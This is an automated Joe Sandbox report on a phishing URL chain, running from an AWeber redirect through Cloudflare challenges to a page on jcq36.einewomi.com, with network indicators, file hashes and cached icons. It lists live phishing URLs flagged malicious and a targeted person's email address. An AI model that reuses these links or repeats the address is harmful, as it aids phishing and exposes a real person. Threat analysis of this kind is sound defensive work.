https://jcq36.einewomi.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8799105f5a5e09f7/1713992859511/WtT2jcbnXI7j1g2	false		high
https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE#	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8799105f5a5e09f7	false		high
https://www.google.com/recaptcha/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://jcq36.einewomi.com/23GDvvg9apn90HB2XHHcK3Svw70	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/34U7ffLhOWdVCsyO1MklEh7jAJLCHRKI089103	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=jtWZp9UYGtvzaNQ8LcAd7hjEyfpgSkrT2gFHR8AhHIRobEYaySv4GvNVpxEaRIXeEMbeDYy7EFFcLxbcOHwjefp%2FpfSh0357UMAFGfuSR4VzOABbhef%2BZRCRSuPbDA%3D%3D	false		high
https://jcq36.einewomi.com/uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137	false	Avira URL Cloud: safe	unknown
https://acmeauto.in/wp/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal	false		high
https://jcq36.einewomi.com/xycKEKEFEwwCncpq6Ycd30	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8799105f5a5e09f7/1713992859511/9be289fbebc6b4b3a22797ac778fe8b1969b1f35e8eb77ad6b7438e982c1b885/yeAuYz4NAjBXHTy	false		high
https://jcq36.einewomi.com/ef8nL56d8pZlD34Xb3O9fQ6A4DEUrkl97	false	Avira URL Cloud: safe	unknown
https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg	false		high
https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE	true		unknown
https://acmeauto.in/wp	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/56ghqiC6i6EZZmmqxyr895G6720	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/89dBaTGaMI14cdC3GglM670jDab80	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/3lwz8fh/	false	Avira URL Cloud: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false		high
https://jcq36.einewomi.com/ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/dxYuNfPDDu8evm7k5QtzW8BRxjPpdbn	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/rspdG2mv8NZTvRyzmcBZuv40	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/3lwz8fh/#Mbnanderson@presidio.com	false		unknown
https://jcq36.einewomi.com/yzTXN8LUzG9iFgM78Xozit0SHqr50	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_98.2.dr	false		high
https://jcq36.einewomi.com/3lwz8fh/#M	chromecache_91.2.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha#6262736	chromecache_98.2.dr	false		high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_98.2.dr	false		high
https://cloud.google.com/contact	chromecache_98.2.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_98.2.dr	false		high
https://www.google.com/recaptcha/api2/	chromecache_98.2.dr, chromecache_106.2.dr	false		high
https://support.google.com/recaptcha	chromecache_98.2.dr	false		high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_98.2.dr	false		high
https://recaptcha.net	chromecache_98.2.dr	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/	chromecache_98.2.dr	false		high
https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.	chromecache_98.2.dr	false	URL Reputation: safe	low
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_98.2.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_98.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_98.2.dr	false		high
http://www.webtoolkit.info/	chromecache_91.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
51.210.113.194	acmeauto.in	France		16276	OVHFR	false
142.250.101.105	www.google.com	United States		15169	GOOGLEUS	false
142.250.101.104	unknown	United States		15169	GOOGLEUS	false
172.64.151.51	clicks.aweber.com	United States		13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States		54113	FASTLYUS	false
104.17.3.184	challenges.cloudflare.com	United States		13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
172.67.137.23	jcq36.einewomi.com	United States		13335	CLOUDFLARENETUS	false
141.193.213.20	presidio.com	United States		396845	DV-PRIMARY-ASN1US	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false
104.17.2.184	unknown	United States		13335	CLOUDFLARENETUS	false
13.226.210.57	d2vgu95hoyrpkh.cloudfront.net	United States		16509	AMAZON-02US	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431360
Start date and time:	2024-04-24 23:06:32 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@21/81@28/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.2.94, 142.251.2.139, 142.251.2.100, 142.251.2.102, 142.251.2.101, 142.251.2.138, 142.251.2.113, 142.251.2.84, 34.104.35.123, 52.165.165.26, 23.204.146.144, 23.204.146.136, 23.204.146.209, 23.204.146.162, 23.204.146.184, 192.229.211.108, 13.95.31.18, 142.250.101.94, 142.251.2.95, 142.250.141.95, 74.125.137.95, 199.232.210.172
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 20:07:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9809790023821843
Encrypted:	false
SSDEEP:	48:8FydlTtlbHCidAKZdA19ehwiZUklqehTy+3:8WfMoy
MD5:	5FFDE53CF1C12155AA3855884EF4D78A
SHA1:	2E7F32557C2E9BDFC7D41CC1DC21CD041D159BC4
SHA-256:	D0B1FA8F20EA854927FA1A8138BC35F1EBB730E878B863D16CDF9B26B05E7864
SHA-512:	7F9D1497C89BE0C7716CF8F96080B0F87ABF761C95FD4FC7C722AB637D0B98D8DCBEBD5A1C792A3FDE720AF0107BFF379DFA3860AE3DDC8A3337CD738FC44C5B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......i....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 20:07:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9943100321821543
Encrypted:	false
SSDEEP:	48:85ydlTtlbHCidAKZdA1weh/iZUkAQkqehYy+2:8yf+9Q1y
MD5:	C44D482A35BD36B33F4F72F55604D754
SHA1:	C0CB4F1D732DFB2C2958D52CF209420931C7BC47
SHA-256:	A3C41951FA3983920F7085DBA8FD7ACE3C0D018258F7D9B6A044AAEB4FE5D3FC
SHA-512:	F786BC077336DE14C0EA0E957A25291A01E0FF9F5FFAFEAEF95CA80C96BB1C503950D523008442CDF0EA86283349603D8E4C3F86232DD765880CED68F189B443
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....+x.i....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006576658682581
Encrypted:	false
SSDEEP:	48:8xudlTtlsHCidAKZdA14tseh7sFiZUkmgqeh7sSy+BX:8xcfLnsy
MD5:	40738C1333BFED0260177C64F28C5818
SHA1:	280CA5A175CDDA29A269B7A122B2F95F0A2AE8D6
SHA-256:	943287C866A131D37C36C2E3BEFFD194130681603B3FC313897B4505D2261E1A
SHA-512:	3C7067175618002ADFD4C697195A4D3A5ACBEC9A107A4C971211AED83ACCFE6861C5CD7108E3FF5271410C1D6114FAD025D36D0A0015489E160F8A1D15C383F7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 20:07:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.995186387799198
Encrypted:	false
SSDEEP:	48:8uydlTtlbHCidAKZdA1vehDiZUkwqeh0y+R:8Pflay
MD5:	DB3B2BF651CE928CCFAE114EB01075FC
SHA1:	78642255EADDDE35E36B709B500772AA2659A55A
SHA-256:	A1B64A6DDC8D85117671195392A607F44C147742CEAC3F756EAE332851B436FB
SHA-512:	918D86378B16BC44E6D5ED49D931FA71240724F0D7939617656869140BA1710E347472DB029541BE1E3004D13F2D3650B28795BFF0AD70F36D27D8BA57798E2C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......i....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 20:07:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9847406334475215
Encrypted:	false
SSDEEP:	48:87ydlTtlbHCidAKZdA1hehBiZUk1W1qehGy+C:8cf19my
MD5:	97103341FF435FAA3CFFD096B23C8E7B
SHA1:	45717A94645450B21F6B7F929363D6AC54EADB9A
SHA-256:	790B071701612BC4F05EF89417FA3DC52B40A38D3D756B73FED8BDC2DA82B2D4
SHA-512:	900A20C848735545C2558BC12F7968BB7F12174B7F3B031FFD15E018073C34B92C2BB1D60B658F670515D2D2D4A8441124BA131D08E06B273ACE40356AC2F73A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......i....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 20:07:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.994782879968476
Encrypted:	false
SSDEEP:	48:83ydlTtlbHCidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbsy+yT+:8QfJT/TbxWOvTbsy7T
MD5:	EA6ECBFB50D49377D87C4761F2C9A289
SHA1:	B6978F4F1928DD15F1FBA9B1B0503504631BFC3F
SHA-256:	CA117AEB6BC3C01D0E8002BD01CFD6669691C8827E2DB1DF3C5F4CD94EAF3059
SHA-512:	F72F56B53932FB898075285C5C269EE68D17C091CC24ABF2549CDE818B520AB64B8D5E8B2E2E4683CB18CB8DF241B24B25C5F76C2790D37CB8611BA504278FBF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....x..i....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	low
URL:	https://jcq36.einewomi.com/rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Reputation:	low
URL:	https://jcq36.einewomi.com/ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168
